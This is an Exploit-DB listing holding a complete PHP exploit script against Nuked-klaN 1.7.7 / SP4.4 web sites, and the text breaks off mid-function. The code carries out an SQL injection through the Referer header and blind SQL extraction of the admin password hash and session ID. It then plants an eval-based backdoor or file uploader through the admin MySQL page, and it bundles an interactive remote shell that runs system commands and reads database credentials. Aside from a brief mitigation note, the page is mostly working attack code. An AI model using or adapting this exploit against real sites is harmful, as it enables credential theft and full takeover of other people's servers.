Nuked-klaN <= 1.7.7 / <= SP4.4 - Multiple Vulnerabilities Exploit

2008-10-14T00:00:00
ID EDB-ID:6749
Type exploitdb
Reporter Charles Fol
Modified 2008-10-14T00:00:00

Description

Nuked-klaN <= 1.7.7 / <= SP4.4 Multiple Vulnerabilities Exploit. CVE-2007-2556. Webapps exploit for php platform

                                        
                                            &lt;?php
#
# Name:    Nuked-klaN &lt;= 1.7.7 and &lt;= SP4.4 Multiple Vulnerabilities Exploit
# Credits: Charles FOL &lt;charlesfol[at]hotmail.fr&gt;
# URL:     http://real.o-n.fr/
# Date:    14/10/2008
#
# Special thanks to Louis for remembering me I had to finish it =)
#
# VULNERABILITY DETAILS
# ---------------------
#
# Nuked-klaN suffers from a vulnerability due to HTTP_REFERER, which is not
# correctly  filtered  before being inserted in  nuked_stats_visitor table.
#
# If HTTP headers are not addslashes()'d by PHP,  it could lead to a INSERT
# SQL injection.
#
# In function view_referer() (visits.php),  referers are extracted from the 
# database to perform an other SQL query, without being secured in between.
# This leads to a blind SQL injection.
#
# Theses injections are  only possible if Nuked-klaN (NK) considers us as a
# new user, because else it won't touch the nuked_stats_visitor table.
# For this,  we can use X-Forwarded-For HTTP header to specify NK a new IP,
# to be considered as a new user, and therefore access the database.
# NK automaticaly tries to resolve our host (using gethostbyaddr()), and it
# could be very long if the IP is not corresponding to a real one,  because
# the default timeout is ~3 seconds, and that's very unconvenient for blind
# SQL injection.
# In order to solve this,  we can try to  generate IPs that might be valid,
# using, for example, a known BASE (the first two numbers), and randomizing
# the two other numbers.
#
# Stats can be disabled, or not accessible for users or visitors.
# In the last case we can't get query results,  so the unique way to inject
# is BENCHMARK method, but this implies that the headers are not addslashed
# by PHP, but this method is not implemented in this exploit.
#
# If we got an admin session or login, we can spawn a remote shell/uploader
# using the NK "MySQL administration",  but PHP safe_mode must be disabled.
#
# This exploit uses  all these vulnerabilities to spawn a shell/uploader or
# to simply obtain admin credentials.
#
# EXPLOIT MAP
# -----------
#
# (ERRORS ARE THIS WAY -&gt;)
# 
# +---------------------------+
# | Check stats accessibility |-&gt;exit()
# +---------------------------+
#   |
#   |  +---------------------------------+  +-----------------------------------------------+
#   +-&gt;| Spoof referer to corrupt INSERT |-&gt;| Spoof referer to corrupt view_referer() query |-&gt;exit()
#      | query and look for results      |  | (blind sql injection)                         |
#      +---------------------------------+  +-----------------------------------------------+
#        |                                    |
#        |  +--------------------------+      | +---------------------------------------------+
#        +-&gt;| Did we find an admin SID |&lt;-----+ | We only have a login and a hashed password, |
#           | or not ?                 |-------&gt;| we have to crack it and use -admin          |
#           +--------------------------+        +---------------------------------------------+
#             |
#             |  +-------------------------------------------------+
#             +-&gt;| Login as admin and spawn an uploader or a shell |
#                | using "MySQL administration"                    |
#                +-------------------------------------------------+
#
# SOLUTION
# --------
# The best way to secure your Nuked-klaN is disabling stats using the admin
# panel.
# If you wan't to keep stats activated, you have to addslashes HTTP_REFERER
# in nuked.php and in visits.php.
#
#
# THIS IS FOR EDUCATION PURPOSES ONLY, as usual.
#

error_reporting(E_ALL ^ E_NOTICE);

define('MSG_INFO', 1);
define('MSG_OKAY', 2);
define('MSG_ERROR', 3);
define('MSG_QUESTION', 4);

define('AGENT', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16');
define('IPBASE', '82.237.');

define('UPCODE', '&lt;?php if(isset($_SERVER[\'HTTP_SHELL\'])) {$h=fopen(\'w00t.php\', \'w+\');if(!$h || fputs($h, \'&lt;file&gt;\')) exit(\'--NOTDONE--\');fclose($h);exit(\'--DONE--\');}else{include(\'./Includes/blocks/block_login.php\');$blok[type]=\'login\';} ?&gt;');
define('SHCODE', '&lt;?php if(isset($_SERVER[\'HTTP_SHELL\'])) {print 123456789;eval($_SERVER[\'HTTP_SHELL\']);print 123456789;exit();}else{include(\'./Includes/blocks/block_login.php\');$blok[type]=\'login\';} ?&gt;');

$nk = new nk();

class nk
{
	var $proxy;
	
	var $user;
	var $admin;
	var $suser;
	var $sadmin;
	var $mode;
	var $url;
	var $year;
	
	var $ips = array();
	var $queries;
	var $www;
	
	function nk()
	{
		$this-&gt;header();
		$this-&gt;usage();
		
		$this-&gt;setParameters();
		$this-&gt;controlParameters();
		
		$this-&gt;main();
	}
	
	function close()
	{
		$this-&gt;msg();
		exit(0);
	}
	
	# Main function, what and when.
	function main()
	{
		# Admin login not specified
		if(!$this-&gt;sadmin)
		{
			$this-&gt;setQueries(0);
			$this-&gt;checkStatsAccessibility();
			$this-&gt;sendInsertQuery();
		
			# Got the credentials =)
			if($this-&gt;getCredentials())
			{
				$this-&gt;dumpCredentials();
			}
			elseif($this-&gt;blindQueries())
			{
				if($this-&gt;mode != 2 && !$this-&gt;admin['sid'])
				{
					$this-&gt;msg('There is no active admin session, try with "-mode 2"', MSG_ERROR);
					exit();
				}
				
				$this-&gt;file = str_replace('$_SERVER[\'HTTP_SHELL\']', 'stripslashes($_SERVER[\'HTTP_SHELL\'])', $this-&gt;file);
			}
			# No attack worked
			else
			{
				$this-&gt;msg('Exploit failed, stats might be disabled.', MSG_ERROR);
				exit();
			}
		}
		
		$this-&gt;makeadmin();
		$this-&gt;conclude();
	}
	
	# Define queries in function of the current mode
	function setQueries($mode)
	{
		$this-&gt;queries   = array();
		
		if(!$mode)
		{
			# User queries
			$this-&gt;queries['name']     = 'SELECT pseudo FROM &lt;prefix&gt;users WHERE niveau=9 ORDER BY DATE ASC LIMIT 1';
			$this-&gt;queries['password'] = 'SELECT pass FROM &lt;prefix&gt;users WHERE niveau=9 ORDER BY DATE ASC LIMIT 1';
			
			# Session queries
			if($this-&gt;mode != 2)
			{
				$this-&gt;queries['uid'] = 'SELECT id FROM &lt;prefix&gt;users WHERE niveau=9 ORDER BY DATE ASC LIMIT 1';
				$this-&gt;queries['sid'] = 'SELECT id FROM &lt;prefix&gt;sessions WHERE user_id=(SELECT id FROM &lt;prefix&gt;users WHERE niveau=9 ORDER BY DATE ASC LIMIT 1) ORDER BY DATE DESC LIMIT 1';
			}
		}
		else
		{
			list($day, $month, $year) = explode(':', date('d:m:Y'));
			$this-&gt;queries[] = 'ALTER TABLE &lt;prefix&gt;block CHANGE `type` `type` VARCHAR(60) CHARACTER SET latin1 COLLATE latin1_swedish_ci NOT NULL DEFAULT 0;';
			$this-&gt;queries[] = 'UPDATE &lt;prefix&gt;block SET type=0x2f2e2e2f2e2e2f2e2e2f&lt;filename&gt;00 WHERE type=0x6c6f67696e OR type LIKE 0x252f2e2e25 AND active!=0 LIMIT 1;';
			$this-&gt;queries[] = 'DELETE FROM &lt;prefix&gt;stats_visitor WHERE (day=' . $day . ' AND month=' . $month . ' AND year=' . $year . ') OR year=' . $this-&gt;year . ' OR year=0;';
		}
		
		# Set the SQL prefix
		foreach($this-&gt;queries as $k =&gt; $v)
			$this-&gt;queries[$k] = str_replace('&lt;prefix&gt;', $this-&gt;sprefix, $v);
	}
	
	# Informs of the stats accessibility
	function checkStatsAccessibility()
	{
		$this-&gt;msg('Checking statistics accessibility ...', MSG_INFO, false);
		
		$accessibility = $this-&gt;areStatsReachable();
		
		if($accessibility == 1)
		{
			$this-&gt;msg('Statistics are reachable, but require authentification', MSG_OKAY);
			
			if(!$this-&gt;suser)
			{
				$this-&gt;msg('Please create an user and specify it using -user parameter', MSG_ERROR);
				exit();
			}
			else
			{
				$this-&gt;makeuser();
			}
		}
		elseif($accessibility == 0)
		{
			$this-&gt;msg('Statistics are reachable as a visitor', MSG_OKAY);
		}
		else
		{
			$this-&gt;msg('Statistics are NOT reachable or activated', MSG_ERROR);
			exit();
		}
	}
		
	# Determine if stats are accessible, and under which conditions
	function areStatsReachable()
	{
		$this-&gt;wwwinit(0);
		$this-&gt;www-&gt;addheader('Referer', 'http://test.com/');
		$this-&gt;www-&gt;get($this-&gt;url . 'index.php?file=Stats&nuked_nude=visits&op=view_referer');
		
		if(preg_match('#&lt;a href="javascript:history.back\(\)"&gt;&lt;b&gt;[^&lt;]+&lt;/b&gt;#i', $this-&gt;www-&gt;getcontent()))
			return -1;
		if(preg_match('#&lt;a href="index.php\?file=User&amp;op=login_screen"&gt;[^&lt;]+&lt;/a&gt;#i', $this-&gt;www-&gt;getcontent()))
			return 1;
			
		if(!preg_match('#http://test\.com/#i', $this-&gt;www-&gt;getcontent()))
			return -1;
		
		return 0;
	}
	
	# Send the spoofed referer in order to insert interresting
	# informations in the nuked_stats_visitors table
	function sendInsertQuery()
	{
		$time = time()+60;
		
		$this-&gt;msg('Sending INSERT query ...', MSG_INFO, false);
		
		# End the first row
		$sql  = "http://google.com/', '', '', '', '', '0'), ";
		
		# For each query, a new row
		foreach($this-&gt;queries as $key =&gt; $query)
		{
			$sql .= "('', '', '0.0.0.0', 'attack', 'Mozilla', 'Windows', CONCAT('&lt;!--:$key:', ($query), ':--&gt;'), '1', '1', '" .$this-&gt;year . "', '1', '$time'), ";
		}
		
		# End this with the beginning of a row, to have a valid SQL query
		$sql .= "('', '', '', '', '', '', '";
		
		# Let's send it
		$this-&gt;wwwinit(0);
		$this-&gt;www-&gt;addheader('Referer', $sql);
		$this-&gt;www-&gt;get($this-&gt;url);
		
		$this-&gt;msg('Sent INSERT query       ', MSG_OKAY);
	}
	
	# Get insert query result in stats page, credentials
	function getCredentials()
	{
		$this-&gt;admin = array();
		
		$this-&gt;msg('Retrieving credentials ...', MSG_INFO, false);
		
		$this-&gt;wwwinit(1);
		$this-&gt;www-&gt;get($this-&gt;url . 'index.php?file=Stats&nuked_nude=visits&op=view_referer&oyear=' . $this-&gt;year);
		
		if(!preg_match_all('#&lt;!--:([^ :]+):([^ ]*):--&gt;#Ui', $this-&gt;www-&gt;getcontent(), $data))
		{
			$this-&gt;msg('Unable to reach credentials', MSG_ERROR);
			return false;
		}
		
		for($i=0;$i&lt;sizeof($data[0]);$i++)
		{
			$this-&gt;admin[$data[1][$i]] = $data[2][$i];
		}
			
		$this-&gt;msg('Got the credentials =)    ', MSG_OKAY);
		
		return true;
	}
	
	# Dump $this-&gt;user content
	function dumpCredentials()
	{
		$display = array
		(
			'User      : ' =&gt; 'name',
			'Password  : ' =&gt; 'password',
			'UserID    : ' =&gt; 'uid',
			'SessionID : ' =&gt; 'sid',
		);
		
		foreach($display as $key =&gt; $value)
			if($this-&gt;admin[$value])
				$this-&gt;msg($key . $this-&gt;admin[$value], MSG_OKAY);
	}
	
	# Here we are on the second attack: we have to blind, but only
	# critical information because it's pretty long
	function blindQueries()
	{
		$this-&gt;msg('Switching to blind mode, be (very) patient ...', MSG_INFO);
		
		if($this-&gt;mode != 2)
		{
			unset($this-&gt;queries['name']);
			unset($this-&gt;queries['password']);
		}
		
		foreach($this-&gt;queries as $key =&gt; $query)
		{
			$length = $key == 'password' ? 32 : 20;
			
			if($key == 'sid')
			{
				$query = str_replace
				(
					'(' . $this-&gt;queries['uid'] . ')',
					"'" . $this-&gt;admin['uid'] . "'",
					$query
				);
			}
				
			switch($key)
			{
				case 'name':     $display = 'User      : '; break;
				case 'password': $display = 'Password  : '; break;
				case 'sid':      $display = 'SessionID : '; break;
				case 'uid':      $display = 'UserID    : '; break;
			}
			
			$this-&gt;msg($display, MSG_QUESTION, false);
			if(!($this-&gt;admin[$key] = $this-&gt;blind($query, $length))) return true;
			$this-&gt;msg($display . $this-&gt;admin[$key], MSG_OKAY);
		}
		
		return true;
	}
	
	# SQL Blind function
	# Referer SQL field only supports 200 characters,
	# so we use a special sql injection to be sure it
	# will work fine and fast enought.
	#
	# 1. Charset
	# 2. Dichotomy
	#
	function blind($query, $nbchars)
	{
		$result  = '';
		
		for($p=1;$p&lt;=$nbchars;$p++)
		{
			$letter = '';
			$sql    = "MID(($query),$p,1)";
			
			if($this-&gt;blind_is($sql))
			{
				if($this-&gt;blind_isChar($sql))
				{		
					if($this-&gt;blind_isMaj($sql))
						$charset = array(ord('A'), ord('Z'));
					else
						$charset = array(ord('a'), ord('z'));
				}
				else
					$charset = array(ord('0'), ord('9'));
			}
			else
				break;
				
			$add = $charset[0];
			
			for($pos=$charset[1]-$charset[0];$pos&gt;2;$pos=intval($pos/2+0.5))
			{
				$s = 'ORD(' . $sql . ') BETWEEN ' . $add . ' AND ' . ($add+$pos);
				if(!$this-&gt;blind_test($s)) $add += $pos;
			}
			
			$letter = '';
			
			for($i=$add;$i&lt;=$add+$pos+1;$i++)
			{
				$s = 'ORD(' . $sql . ')=' . $i;
				if($this-&gt;blind_test($s))
				{
					$letter = chr($i);
					break;
				}
			}
			
			$result .= $letter;
			print $letter;
		}
		
		return $result;
	}
	
	function blind_is($sql)
	{
		return $this-&gt;blind_test("ORD($sql)!=0");
	}
	
	function blind_isChar($query)
	{
		return $this-&gt;blind_test("UPPER($query) BETWEEN 'A' AND 'Z'");
	}
	
	function blind_isMaj($query)
	{
		return $this-&gt;blind_test("ORD($query) BETWEEN 65 AND 90");
	}
	
	# Return true or false depending on the page result, before
	# setting up PHPsploit and the referer
	function blind_test($sql)
	{
		$site = $this-&gt;generateIP();
		$when = '&oday=' . date('d') . '&omonth=' . date('m') . '&oyear=' . date('Y');
		
		$this-&gt;wwwinit(0);
		$this-&gt;www-&gt;addheader('Referer', $this-&gt;year . $site . "' OR 1=1 AND $sql AND 'A'='A");
		
		# If we have to be user to reach stats
		if(sizeof($this-&gt;user))
		{
			$this-&gt;www-&gt;get($this-&gt;url . 'index.php');
			$this-&gt;wwwinit(1);
		}
			
		$this-&gt;www-&gt;get($this-&gt;url . 'index.php?file=Stats&nuked_nude=visits&op=view_referer' . $when);
		
		if(preg_match('#' . $this-&gt;year . $site . '[^&lt;]+&lt;/a&gt;&lt;/td&gt;\s+&lt;td style="width: 20%;" align="center"&gt;([0-9]*)#i', $this-&gt;www-&gt;getcontent(), $data))
		{
			if($data[1] &gt; 0)
				return true;
		}
		else
		{
			$this-&gt;msg('Error while blinding.', MSG_ERROR);
			exit();
		}
	}
		
	# Set up the admin
	function makeadmin()
	{
		# The current user is now the admin
		$this-&gt;user = $this-&gt;admin;
		
		# Determine if we have a session or just a name
		if($this-&gt;mode == 2)
		{
			exit();
		}
		elseif($this-&gt;sadmin)
		{
			$this-&gt;suser = $this-&gt;sadmin;
			$this-&gt;makeuser();
		}
		elseif($this-&gt;user['sid'] && $this-&gt;user['uid'])
		{
			$this-&gt;msg('Got a session, no login required', MSG_OKAY);
		}
		elseif($this-&gt;user['name'] && $this-&gt;user['password'])
		{
			$this-&gt;msg('Please crack the admin hash, and use -admin parameter', MSG_ERROR);
			exit();
		}
		else
		{
			$this-&gt;msg('How did you get there ?', MSG_ERROR);
			exit();
		}
		
		$this-&gt;user['aid'] = $this-&gt;user['uid'];
		$this-&gt;user['ip']  = '127.0.0.1';
		
		$this-&gt;msg('Administrator status OK =)', MSG_OKAY);
	}
	
	# Conclude the attack: spawn a shell or an uploader
	function conclude()
	{
		# Initialise PHPsploit for the last time
		$this-&gt;wwwinit(1);
		$this-&gt;www-&gt;addheader('Referer', $this-&gt;url);
		
		# Actualize the queries
		$this-&gt;setQueries(1);
		
		$this-&gt;uploadavatar();
		$this-&gt;sendqueries();
		$this-&gt;loadshell();
	}
	
	function uploadavatar()
	{
		$this-&gt;msg('Uploading avatar ...', MSG_INFO, false);
		
		$fmdt = array
		(
			'frmdt_url'   =&gt; $this-&gt;url . 'index.php?file=User&op=update_pref',
			'fichiernom'  =&gt; array
							(
								'frmdt_filename' =&gt; 'one.jpg',
								'frmdt_content'  =&gt; $this-&gt;file,
							)
		);

		$this-&gt;www-&gt;formdata($fmdt);
		$this-&gt;www-&gt;get($this-&gt;url . 'index.php?file=User&op=edit_pref');
		
		if(!preg_match('#value="([^"]+\.jpg)"#U', $this-&gt;www-&gt;getcontent(), $match))
		{
			$this-&gt;msg('Error while uploading avatar', MSG_ERROR);
			exit();
		}
		
		$this-&gt;msg('Avatar successfully uploaded (' . basename($match[1]) . ')', MSG_OKAY);
		
		$match = unpack('H*', $match[1]);
		
		$this-&gt;queries[1] = str_replace('&lt;filename&gt;', $match[1], $this-&gt;queries[1]);
	}
	
	function sendqueries()
	{
		$this-&gt;msg('Sending SQL queries ', MSG_INFO, false);
		
		foreach($this-&gt;queries as $query)
		{
			$this-&gt;www-&gt;post($this-&gt;url . 'index.php?file=Admin&page=mysql&op=upgrade_db', 'upgrade=' . $query);
			$this-&gt;msg('.', 0, false);
		}
		
		$this-&gt;msg('SQL queries sent        ', MSG_OKAY);
	}
	
	function loadshell()
	{
		if($this-&gt;mode == 0)
		{
			$this-&gt;www-&gt;addheader('Shell', '1');
			$this-&gt;www-&gt;get($this-&gt;url);
			
			if(strpos('--DONE--', $this-&gt;www-&gt;getcontent()))
				$this-&gt;msg('File created. URL: ' . $this-&gt;url . 'w00t.php', MSG_OKAY);
			else
			{
				# possible causes: safe_mode, open_basedir, file restrictions ...
				$this-&gt;msg('File was not created', MSG_ERROR);
			}
		}
		else
		{
			$this-&gt;msg('Shell spawned', MSG_OKAY);
			$this-&gt;msg();
			$sql = array('conf.inc.php', '$global[\'db_host\']', '$global[\'db_user\']', '$global[\'db_password\']', '$global[\'db_name\']');
			new phpreter($this-&gt;url . 'index.php', '123456789(.*)123456789', 'cmd', $sql, false);
		}
	}
	
	# Login as a specified user, and obtain a $uid and a $sid
	function createSession($user, $passwd, &$uid, &$sid)
	{
		$this-&gt;wwwinit(0);
		$this-&gt;www-&gt;addheader('Referer', $this-&gt;url . 'index.php');
		$this-&gt;www-&gt;post($this-&gt;url . 'index.php?file=User&nuked_nude=index&op=login', "pseudo=$user&pass=$passwd&remember_me=ok");
		
		preg_match('#nuked_sess_id=([a-z0-9]+)#i', $this-&gt;www-&gt;getheader(), $sid);
		preg_match('#uid=([a-z0-9]+)#i', $this-&gt;www-&gt;getcontent(), $uid);
		
		$sid = $sid[1];
		$uid = $uid[1];
		
		if($uid && $sid)
			return true;
		
		return false;
	}
	
	# Login user and set his informations
	function makeuser()
	{	
		list($user, $passwd) = explode(':', $this-&gt;suser);
		
		$this-&gt;user = array();
		
		$this-&gt;msg('Logging in as ' . $user, MSG_INFO, false);
		
		if($this-&gt;createSession($user, $passwd, $uid, $sid))
		{
			$this-&gt;user['name']     = $user;
			$this-&gt;user['password'] = $passwd;
			$this-&gt;user['uid']      = $uid;
			$this-&gt;user['sid']      = $sid;
			$this-&gt;user['ip']       = $this-&gt;generateIP();
			
			$this-&gt;msg('Loggued in as ' . $user . ' (uid=' . $uid . ')', MSG_OKAY);
		}
		else
		{
			$this-&gt;msg('Unable to log in as ' . $user, MSG_ERROR);
			exit();
		}
	}
	
	# Initialize PHPsploit (with a new identity)
	function wwwinit($mode)
	{	
		$this-&gt;www-&gt;reset();
		$this-&gt;www-&gt;agent(AGENT);
		
		if($mode && sizeof($this-&gt;user))
			$this-&gt;wwwuser();
		else
			$this-&gt;www-&gt;addheader('X-Forwarded-For', $this-&gt;generateIP());
	}

	# Set user cookies and headers
	function wwwuser()
	{	
		$cookies = array();
		
		if($this-&gt;user['uid']) $cookies['user_id']       = $this-&gt;user['uid'];
		if($this-&gt;user['sid']) $cookies['sess_id']       = $this-&gt;user['sid'];	
		if($this-&gt;user['aid']) $cookies['admin_session'] = $this-&gt;user['aid'];
			
		foreach($cookies as $k =&gt; $v)
			$this-&gt;www-&gt;addcookie($this-&gt;cprefix . $k, $v);
		
		// yes it's not a cookie
		$this-&gt;www-&gt;addheader('X-Forwarded-For', $this-&gt;user['ip']);
	}
	
	# Make an IP which can be gethostbyaddr()'ed, for speed
	# reasons
	function generateIP()
	{
		do
		{
			$ip = IPBASE . rand(1, 20) . '.' . rand(1, 250);
		}
		while(in_array($ip, $this-&gt;ips));
		
		$this-&gt;ips[] = $ip;
		
		return $ip;
	}
	
	function msg($msg = '', $type = 0, $n = true)
	{
		$display = $n ? "\r" : '';

		switch($type)
		{
			case MSG_INFO:     $display .= '[*] '; break;
			case MSG_OKAY:     $display .= '[+] '; break;
			case MSG_ERROR:    $display .= '[-] '; break;
			case MSG_QUESTION: $display .= '[?] '; break;
		}

		$display .= $msg;

		$display .= $n ? "\n" : '';

		print $display;
	}
	
	function header()
	{
		$this-&gt;msg();
		$this-&gt;msg('   Nuked-klaN 1.7.7 and SP4.4 Multiple Vulnerabilities Exploit');
		$this-&gt;msg('     by Charles FOL &lt;charlesfol[at]hotmail.fr&gt;');
		$this-&gt;msg();
	}
	
	function usage()
	{
		global $argc;
		
		if($argc&lt;3)
		{
			$this-&gt;msg(' usage: ./nk_exploit.php -url &lt;url&gt; [options]');
			$this-&gt;msg();
			$this-&gt;msg(' Options: -mode    0: Remote Upload (default)');
			$this-&gt;msg('                   1: Remote Code Execution');
			$this-&gt;msg('                   2: Admin Hash Extraction');
			$this-&gt;msg('          -admin   If you have an admin account.');
			$this-&gt;msg('          -user    If stats page need registration.');
			$this-&gt;msg('          -proxy   If you want to use a proxy.');
			$this-&gt;msg('          -cprefix Cookie prefix (default: nuked_).');
			$this-&gt;msg('          -sprefix SQL prefix (default: nuked_).');
			$this-&gt;msg('          -file    If you wanna upload a specific file');
			$this-&gt;msg('                   else it will upload a simple uploader.');
			$this-&gt;msg();
			$this-&gt;msg(' eg: ./nk_exploit.php -url http://localhost/nk/ -admin real:passw0rd');
			$this-&gt;msg(' eg: ./nk_exploit.php -url http://localhost/nk/ -file cshell.php -proxy localhost:8118');
			
			$this-&gt;close();
		}
	}
	
	function setParameters()
	{
		$this-&gt;www     = new phpsploit();
		$this-&gt;year    = rand(1000, 1500);
		$this-&gt;url     = $this-&gt;getParameter('url', true);
		$this-&gt;mode    = $this-&gt;getParameter('mode', false, 0);
		$this-&gt;suser   = $this-&gt;getParameter('user', false);
		$this-&gt;sadmin  = $this-&gt;getParameter('admin', false);
		$this-&gt;proxy   = $this-&gt;getParameter('proxy', false);
		$this-&gt;cprefix = $this-&gt;getParameter('cprefix', false, 'nuked_');
		$this-&gt;sprefix = $this-&gt;getParameter('sprefix', false, 'nuked_');
		$this-&gt;file    = $this-&gt;getParameter('file', false);
	}
	
	function controlParameters()
	{
		if($this-&gt;mode == 0)
		{
			if($this-&gt;file)
				$this-&gt;file = file_get_contents($this-&gt;file);
			else
				$this-&gt;file = '&lt;?php if(isset($_GET[\'del\'])){unlink(basename($_SERVER[\'PHP_SELF\']));exit();} if'
				            . '(isset($_POST[\'upload\'])){if(!move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], '
				            . '"./".$_FILES[\'file\'][\'name\'])) echo("&lt;center&gt;Error ".$_FILES[\'file\'][\'error\''
				            . ']."&lt;/center&gt;");else echo "&lt;center&gt;File uploaded&lt;/center&gt;"; } ?&gt;&lt;form method="post" e'
				            . 'nctype="multipart/form-data"&gt;&lt;center&gt;&lt;input type="file" name="file"&gt;&lt;input type="sub'
				            . 'mit" name="upload" value="Upload"&gt;&lt;/center&gt;&lt;/form&gt;';

			$this-&gt;file = str_replace('&lt;file&gt;', str_replace("'", "\'", $this-&gt;file), UPCODE);
		}
		else
			$this-&gt;file = SHCODE;
		
		if($this-&gt;proxy)
			$this-&gt;www-&gt;proxy($this-&gt;proxy);
	}
	
	function getParameter($parameter, $required = false, $default = '')
	{
		global $argv, $argc;
		
		for($i=0;$i&lt;$argc;$i++)
		{
			if($argv[$i] == '-' . $parameter)
				return $argv[$i+1];
		}
		
		if($required)
		{
			$this-&gt;msg('-' . $parameter . ' parameter is required.', MSG_ERROR);
			$this-&gt;close();
		}
		
		return $default;
	}
}

# PHPreter (a bit modified).
# Find original version on http://real.o-n.fr/

/*
 * Copyright (c) Charles FOL
 *
 * This program is free software; you can redistribute it and/or 
 * modify it under the terms of the GNU General Public License 
 * as published by the Free Software Foundation; either version 2 
 * of the License, or (at your option) any later version. 
 * 
 * This program is distributed in the hope that it will be useful, 
 * but WITHOUT ANY WARRANTY; without even the implied warranty of 
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
 * GNU General Public License for more details. 
 * 
 * You should have received a copy of the GNU General Public License 
 * along with this program; if not, write to the Free Software 
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 *
 * TITLE:          PHPreter
 * AUTHOR:         Charles FOL &lt;charlesfol[at]hotmail.fr&gt;
 * VERSION:        1.0
 * LICENSE:        GNU General Public License
 *
 * This is a really simple class with permits to exec SQL, PHP or CMD
 * on a remote host using the HTTP "Shell" header.
 *
 *
 * Sample code:
 * [host][sql]# mode=cmd
 * [host][cmd]# id
 * uid=2176(u47170584) gid=600(ftpusers)
 * 
 * [host][cmd]# mode=php
 * [host][php]# echo phpversion();
 * 4.4.8
 * [host][php]# mode=sql
 * [host][sql]# SELECT version(), user()
 * --------------------------------------------------
 *  version()           | 5.0.51a-log
 *  user()              | dbo225004932@74.208.16.148
 * --------------------------------------------------
 * 
 * [host][sql]#
 *
 */

class phpreter
{
	var $url;
	var $host;
	var $port;
	var $page;
	
	var $mode;
	
	var $ssql;
	
	var $prompt;
	var $phost;
	
	var $regex;
	var $data;
	
	/**
	 * __construct()
	 *
	 * @param url      The url of the remote shell.
	 * @param regexp   The regex to catch cmd result.
	 * @param mode     Mode: php, sql or cmd.
	 * @param sql      An array with the file to include,
	 *                 and sql vars
	 * @param clear    Determines if clear() is called
	 *                 on startup
	 */
	function phpreter($url, $regexp='^(.*)$', $mode='cmd', $sql=array(), $clear=true)
	{
		$this-&gt;url = $url;
		
		$this-&gt;regex = '#'.$regexp.'#is';
		
		#
		# Set data
		#
		
		$infos         =	parse_url($this-&gt;url);
		$this-&gt;host    =	$infos['host'];
		$this-&gt;port    =	isset($infos['port']) ? $infos['port'] : 80;
		$this-&gt;page    =	$infos['path'];
		
		# www.(site).com
		$host_tmp      =	explode('.',$this-&gt;host);
		$this-&gt;phost   =	$host_tmp[ count($host_tmp)-2 ];
		
		#
		# Set up MySQL connection string
		#
		if(!sizeof($sql))
			$this-&gt;ssql = '';
		elseif(sizeof($sql) == 5)
		{
			$this-&gt;ssql = "include('$sql[0]');"
			            . "mysql_connect($sql[1], $sql[2], $sql[3]);"
			            . "mysql_select_db($sql[4]);";
		}
		else
		{
			$this-&gt;ssql = ""
			            . "mysql_connect('$sql[0]', '$sql[1]', '$sql[2]');"
			            . "mysql_select_db('$sql[3]');";
		}
		
		$this-&gt;setmode($mode);
		
		#
		# Main Loop
		#

		if($clear) $this-&gt;clear();
		print $this-&gt;prompt;

		while( !preg_match('#^(quit|exit|close)$#i', ($cmd = trim(fgets(STDIN)))) )
		{
			# change mode
			if(preg_match('#^(set )?mode(=| )(sql|cmd|php)$#i',$cmd,$array))
				$this-&gt;setmode($array[3]);
			
			# clear data
			elseif(preg_match('#^clear$#i',$cmd))
				$this-&gt;clear();
			
			# else
			else print $this-&gt;exec($cmd);
			
			print $this-&gt;prompt;
		}
	}
	
	/**
	 * clear()
	 * Just clears ouput, printing '\n'x50
	 */
	function clear()
	{
		print str_repeat("\n", 50);
		return 0;
	}
	
	/**
	 * setmode()
	 * Set mode (PHP, CMD, SQL)
	 * You don't have to call it.
	 * use mode=[php|cmd|sql] instead,
	 * in the prompt.
	 */
	function setmode($newmode)
	{
		$this-&gt;mode = strtolower($newmode);
		$this-&gt;prompt = '['.$this-&gt;phost.']['.$this-&gt;mode.']# ';
		
		switch($this-&gt;mode)
		{
			case 'cmd':
				$this-&gt;data = 'system(\'&lt;CMD&gt;\');';
				break;
			case 'php':
				$this-&gt;data = '';
				break;
			case 'sql':
				$this-&gt;data = $this-&gt;ssql
				            . '$q = mysql_query(\'&lt;CMD&gt;\') or print(str_repeat("-",50)."\n".mysql_error()."\n");'
				            . 'print str_repeat("-",50)."\n";'
				            . 'while($r=mysql_fetch_array($q,MYSQL_ASSOC))'
				            . '{'
				            .    'foreach($r as $k=&gt;$v) print " ".$k.str_repeat(" ", (20-strlen($k)))."| $v\n";'
				            .    'print str_repeat("-",50)."\n";'
				            . '}';
				break;
		}
		return $this-&gt;mode;
	}

	/**
	 * exec()
	 * Execute any query and catch the result.
	 * You don't have to call it.
	 */
	function exec($cmd)
	{
		if(!strlen($this-&gt;data))	$shell = $cmd;
		else                    	$shell = str_replace('&lt;CMD&gt;', addslashes($cmd), $this-&gt;data);
		
		$fp = fsockopen($this-&gt;host, $this-&gt;port, $errno, $errstr, 30);
		
		$req  = "GET " . $this-&gt;page . " HTTP/1.1\r\n";
		$req .= "Host: " . $this-&gt;host . ( $this-&gt;port!=80 ? ':'.$this-&gt;port : '' ) . "\r\n";
		$req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
		$req .= "X-Forwarded-For: 127.0.0.1\r\n"; // here is the mod.
		$req .= "Shell: $shell\r\n";
		$req .= "Connection: close\r\n\r\n";

		fputs($fp, $req);
		
		$content = '';
		while(!feof($fp)) $content .= fgets($fp, 128);
		
		fclose($fp);
		
		# Remove headers
		$data    = explode("\r\n\r\n", $content);
		$headers = array_shift($data);
		$content = implode("\r\n\r\n", $data);
		
		if(preg_match("#Transfer-Encoding:.*chunked#i", $headers))
			$content = $this-&gt;unchunk($content);
	
		preg_match($this-&gt;regex, $content, $data);
		
		if($data[1][ strlen($data)-1 ] != "\n") $data[1] .= "\n";
		
		return $data[1];
	}
	
	/**
	 * unchunk()
	 * This function aims to remove chunked content's sizes which
	 * are put by the apache server when it uses chunked
	 * transfert-encoding.
	 */
	function unchunk($data)
	{
		$dsize  = 1;
		$offset = 0;
		
		while($dsize&gt;0)
		{
			$hsize_size = strpos($data, "\r\n", $offset) - $offset;
			
			$dsize = hexdec(substr($data, $offset, $hsize_size));
			
			# Remove $hsize\r\n from $data
